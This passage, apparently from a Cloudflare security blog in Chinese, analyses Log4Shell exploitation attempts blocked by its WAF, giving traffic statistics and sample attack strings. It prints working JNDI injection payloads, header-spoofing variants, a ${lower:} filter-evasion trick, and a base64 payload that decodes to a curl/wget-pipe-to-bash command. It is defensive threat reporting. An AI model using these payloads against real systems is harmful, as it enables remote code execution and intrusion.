現在我們有了關于掃描并企圖利用該漏洞的小時數據,我們就可以開始考察一下自然環(huán)境中使用的實際有效負載以及統(tǒng)計數據。我們先來看一下 Cloudflare 通過我們的 WAF 阻止的請求。
我們看到今天上午(此處的時間為協(xié)調世界時 (UTC))阻止的攻擊數量緩慢上升,最大峰值大約為 1800(每分鐘阻止的漏洞利用請求數大約為 20,000)。但掃描過程全天一直在持續(xù)。我們預期這種情況會繼續(xù)。
我們還查看了 WAF 阻止的 IP 地址數??雌饋碓谌魏谓o定時間活躍掃描了大約 200 到 400 個 IP。
到目前為止,最大數量的掃描或漏洞利用企圖來自加拿大,其次是美國。
大量被阻止的請求看起來采用了偵察的形式,以確定服務器是否實際上可被利用。主要的被阻止漏洞利用字符串如下(自始至終,我都清理了域名和 IP 地址):
${jndi:ldap://x.x.x.x/#Touch}
這看起來是在 x.x.x.x(這無疑被入侵者控制)訪問服務器并記錄某個互聯網屬性可被利用的簡單方法。上述字符串并沒有給入侵者透露多少信息。熱門程度排第二的請求包含了以下內容:
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
這出現在請求的 User-Agent 字段中。請注意,在 URI 末尾是 /ua。這無疑為入侵者提供了線索,表示可在 User-Agent 中利用漏洞。
另一個令人關注的有效負載顯示,入侵者詳述了可行的格式(在這種情況下是對端口 443 的非加密請求,并且入侵者在試圖使用 http://):
${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
有人試圖假裝 Googlebot,并包括了一些額外信息。
Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}
在以下情況下,入侵者訪問了公共 Cloudflare IP,并在漏洞利用有效負載中對該 IP 地址進行了編碼。這樣一來,入侵者就可以掃描許多 IP,并找出哪些容易受到攻擊。
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}
該方案的一種變體是在漏洞利用有效負載中包括受攻擊網站的名稱。
${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}
一些入侵者未使用 LDAP,而是采用了 DNS。但是,LDAP 比其他協(xié)議常用得多。
${jndi:dns://aeutbj.example.com/ext}
一個令人關注的掃描涉及使用 Java 和標準 Linux 命令行工具。有效負載如下所示:
${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}
Base64 編碼部分解碼為 curl,并通過 wget 傳輸到 bash 中。
(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash
請注意,curl/wget 的輸出不是必需的,因此這只是訪問服務器以向入侵者指示漏洞利用行得通。
最后,我們看到有人很積極地企圖使用 Log4j 的其他功能來逃避對 ${jndi:ldap 之類的字符串的簡化阻止。例如,常見的逃避方法似乎是使用 ${lower} 功能(用于將字符變?yōu)樾懀?,如下所示?/p>
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
此時,看起來有大量偵察活動在進行。全世界善意和不良的入侵者都在掃描有漏洞的服務器。最終,其中一些偵察活動會轉變?yōu)閷Ψ掌骱凸镜膶嶋H滲透。此外,由于日志記錄深度嵌入前端和后端系統(tǒng)中,某些偵察活動在幾小時或幾天內都不易被察覺。
就像孢子在地下悄無聲息地生長,某些偵察活動會破土而出,暴露于陽光之下。
隨著漏洞利用企圖不斷演化,Cloudflare 的安全團隊也在不斷找對策,并將根據需要更新 WAF 和防火墻規(guī)則。